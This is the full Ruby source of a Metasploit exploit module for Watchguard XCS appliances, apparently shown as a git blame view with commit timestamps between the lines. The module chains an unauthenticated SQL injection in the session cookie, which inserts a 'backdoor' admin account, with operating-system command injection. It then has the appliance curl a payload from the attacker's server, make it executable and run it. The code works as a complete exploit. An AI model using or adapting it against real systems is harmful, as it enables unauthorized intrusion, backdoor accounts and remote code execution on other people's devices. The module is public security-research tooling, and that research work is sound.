2015-07-01 09:11:23 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2015-07-01 09:11:23 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-09-16 11:29:26 +00:00
|
|
|
'Name' => 'Watchguard XCS Remote Command Execution',
|
2015-07-02 01:06:03 +00:00
|
|
|
'Description' => %q{
|
2015-09-25 14:35:30 +00:00
|
|
|
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
|
|
|
|
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
|
|
|
|
remote attacker may insert a valid web user into the appliance database, and get access
|
|
|
|
to the web interface. On the other hand, a vulnerability in the web interface allows the
|
|
|
|
attacker to inject operating system commands as the 'nobody' user.
|
2015-07-02 01:06:03 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-07-01 09:11:23 +00:00
|
|
|
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
|
2015-07-02 01:06:03 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
|
|
|
|
],
|
|
|
|
'Platform' => 'bsd',
|
|
|
|
'Arch' => ARCH_X86_64,
|
|
|
|
'Privileged' => false,
|
2015-09-23 12:20:13 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
2015-07-02 01:06:03 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Watchguard XCS 9.2/10.0', { }]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jun 29 2015'
|
|
|
|
))
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
register_options(
|
2015-07-02 01:06:03 +00:00
|
|
|
[
|
2015-07-01 09:11:23 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
2015-09-16 11:29:26 +00:00
|
|
|
OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']),
|
2015-07-02 01:06:03 +00:00
|
|
|
OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']),
|
2015-09-23 12:20:13 +00:00
|
|
|
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
2015-07-01 09:11:23 +00:00
|
|
|
Opt::RPORT(443)
|
2015-07-02 01:06:03 +00:00
|
|
|
],
|
|
|
|
self.class
|
|
|
|
)
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
def check
|
|
|
|
#Check to see if the SQLi is present
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
|
|
|
|
'cookie' => "sid=1'"
|
|
|
|
})
|
|
|
|
if res and res.body =~ /unterminated quoted string/
|
2015-07-01 09:11:23 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2015-07-02 01:06:03 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
def exploit
|
2015-09-23 12:20:13 +00:00
|
|
|
#Get a valid session by logging in or exploiting SQLi to add user
|
|
|
|
@sid = get_session
|
2015-07-01 09:11:23 +00:00
|
|
|
|
|
|
|
#Check if cmd injection works
|
2015-09-23 12:20:13 +00:00
|
|
|
test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id")
|
2015-07-02 01:06:03 +00:00
|
|
|
unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/
|
2015-09-23 12:20:13 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable")
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#We have cmd exec, stand up an HTTP server and deliver the payload
|
2015-07-02 01:06:03 +00:00
|
|
|
vprint_status("Getting ready to drop binary on appliance")
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
#Generate payload
|
2015-07-01 09:11:23 +00:00
|
|
|
@pl = generate_payload_exe
|
|
|
|
@elf_sent = false
|
2015-07-02 01:06:03 +00:00
|
|
|
waited = 0
|
|
|
|
while (not @pl)
|
|
|
|
print_status("Waiting for payload to finish generating...")
|
|
|
|
select(nil,nil,nil,1)
|
|
|
|
waited += 1
|
|
|
|
if (waited > 20)
|
|
|
|
fail_with(Failure::Unknown, "Unable to generate payload within a reasonable time.")
|
|
|
|
end
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
|
2015-09-23 12:20:13 +00:00
|
|
|
#Start the server and use primer to trigger fetching and running of the payload
|
|
|
|
begin
|
|
|
|
Timeout.timeout(datastore['HTTPDELAY']) {super}
|
|
|
|
rescue Timeout::Error
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
def attempt_login(username,pwd_clear)
|
|
|
|
#Attempts to login with the provided user credentials
|
|
|
|
#Get the login page
|
|
|
|
get_login_hash = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/login.spl')
|
|
|
|
})
|
|
|
|
|
|
|
|
unless get_login_hash and get_login_hash.body
|
|
|
|
fail_with(Failure::Unreachable, "Could not get login page.")
|
|
|
|
end
|
|
|
|
|
|
|
|
#Find the hash token needed to login
|
|
|
|
login_hash = ''
|
|
|
|
get_login_hash.body.each_line do |line|
|
|
|
|
next if line !~ /name="hash" value="(.*)"/
|
|
|
|
login_hash = $1
|
|
|
|
end
|
|
|
|
|
|
|
|
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
|
|
|
|
if login_hash == '' || sid_cookie == ''
|
|
|
|
fail_with(Failure::UnexpectedReply, "Could not find login hash or cookie")
|
|
|
|
end
|
|
|
|
|
|
|
|
login_post = {
|
|
|
|
'u' => "#{username}",
|
|
|
|
'pwd' => "#{pwd_clear}",
|
|
|
|
'hash' => login_hash,
|
|
|
|
'login' => "Login"
|
|
|
|
}
|
|
|
|
print_status("Attempting to login with provided credentials")
|
|
|
|
login = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/login.spl'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'encode_params' => false,
|
|
|
|
'cookie' => "sid=#{sid_cookie}",
|
|
|
|
'vars_post' => login_post,
|
|
|
|
'vars_get' => {
|
|
|
|
'f' => 'V'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
|
|
unless login and login.body =~ /<title>Loading...<\/title>/
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Successfully logged in")
|
|
|
|
return sid_cookie
|
|
|
|
end
|
|
|
|
|
|
|
|
def add_user(user_id, username, pwd_hash, pwd_clear)
|
|
|
|
#Adds a user to the database using the unauthed SQLi
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
|
|
|
|
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res and res.body
|
|
|
|
fail_with(Failure::Unreachable, "Could not connect to host")
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.body =~ /ERROR: duplicate key value violates unique constraint/
|
|
|
|
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::UnexpectedReply, "Unable to add user to database")
|
|
|
|
end
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_device_hash(cleartext_password)
|
|
|
|
#Generates the specific hashes needed for the XCS
|
|
|
|
pre_salt = "BorderWare "
|
|
|
|
post_salt = " some other random (9) stuff"
|
2015-09-13 04:23:23 +00:00
|
|
|
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
|
|
|
|
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
|
2015-07-02 01:06:03 +00:00
|
|
|
return final_hash
|
|
|
|
end
|
|
|
|
|
2015-09-23 12:20:13 +00:00
|
|
|
def send_cmd_exec(uri,os_cmd,blocking=false)
|
|
|
|
#This is a handler function that makes HTTP calls to exploit the command injection issue
|
|
|
|
unless @sid
|
|
|
|
fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.")
|
|
|
|
end
|
2015-07-01 09:11:23 +00:00
|
|
|
res = send_request_cgi({
|
2015-07-02 01:06:03 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path, "#{uri}"),
|
2015-09-23 12:20:13 +00:00
|
|
|
'cookie' => "sid=#{@sid}",
|
2015-07-02 01:06:03 +00:00
|
|
|
'encode_params' => true,
|
|
|
|
'vars_get' => {
|
|
|
|
'f' => 'dnld',
|
|
|
|
'id' => ";#{os_cmd}"
|
|
|
|
}
|
2015-07-01 09:11:23 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
#Handle cmd exec failures
|
|
|
|
if (!res and blocking == false)
|
2015-07-02 01:06:03 +00:00
|
|
|
fail_with(Failure::Unknown, "Failed to exploit command injection.")
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
2015-07-02 01:06:03 +00:00
|
|
|
|
|
|
|
return res
|
2015-07-01 09:11:23 +00:00
|
|
|
end
|
|
|
|
|
2015-09-23 12:20:13 +00:00
|
|
|
def get_session
|
|
|
|
#Gets a valid login session, either valid creds or the SQLi vulnerability
|
|
|
|
username = datastore['USERNAME']
|
|
|
|
pwd_clear = datastore['PASSWORD']
|
|
|
|
user_id = rand(999)
|
|
|
|
|
|
|
|
sid_cookie = attempt_login(username, pwd_clear)
|
|
|
|
unless sid_cookie
|
|
|
|
vprint_status("Failed to login, attempting to add backdoor user...")
|
|
|
|
pwd_hash = generate_device_hash(pwd_clear)
|
|
|
|
unless add_user(user_id, username, pwd_hash, pwd_clear)
|
|
|
|
fail_with(Failure::Unknown, "Failed to add user account to database.")
|
|
|
|
end
|
|
|
|
|
|
|
|
sid_cookie = attempt_login(username, pwd_clear)
|
|
|
|
unless (sid_cookie)
|
|
|
|
fail_with(Failure::Unknown, "Unable to login with user account.")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
return sid_cookie
|
|
|
|
end
|
|
|
|
|
|
|
|
#Make the server download the payload and run it
|
|
|
|
def primer
|
|
|
|
vprint_status("Primer hook called, make the server get and run exploit")
|
|
|
|
|
|
|
|
#Gets the autogenerated uri from the mixin
|
|
|
|
payload_uri = get_uri
|
|
|
|
|
|
|
|
filename = rand_text_alpha_lower(8)
|
|
|
|
print_status("Sending download request for #{payload_uri}")
|
|
|
|
|
|
|
|
dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
|
|
|
|
vprint_status("Telling appliance to run #{dnld_cmd1}")
|
|
|
|
send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1)
|
|
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
|
|
|
|
|
|
chmod_cmd = "chmod +x /tmp/#{filename}"
|
|
|
|
vprint_status("Chmoding the payload...")
|
|
|
|
send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd)
|
|
|
|
|
|
|
|
exec_cmd = "/tmp/#{filename}"
|
|
|
|
vprint_status("Running the payload...")
|
|
|
|
send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true)
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Finished primer hook")
|
|
|
|
end
|
|
|
|
|
2015-07-02 01:06:03 +00:00
|
|
|
#Handle incoming requests from the server
|
2015-07-01 09:11:23 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
vprint_status("on_request_uri called: #{request.inspect}")
|
|
|
|
print_status("Sending the payload to the server...")
|
|
|
|
@elf_sent = true
|
|
|
|
send_response(cli, @pl)
|
|
|
|
end
|
|
|
|
end
|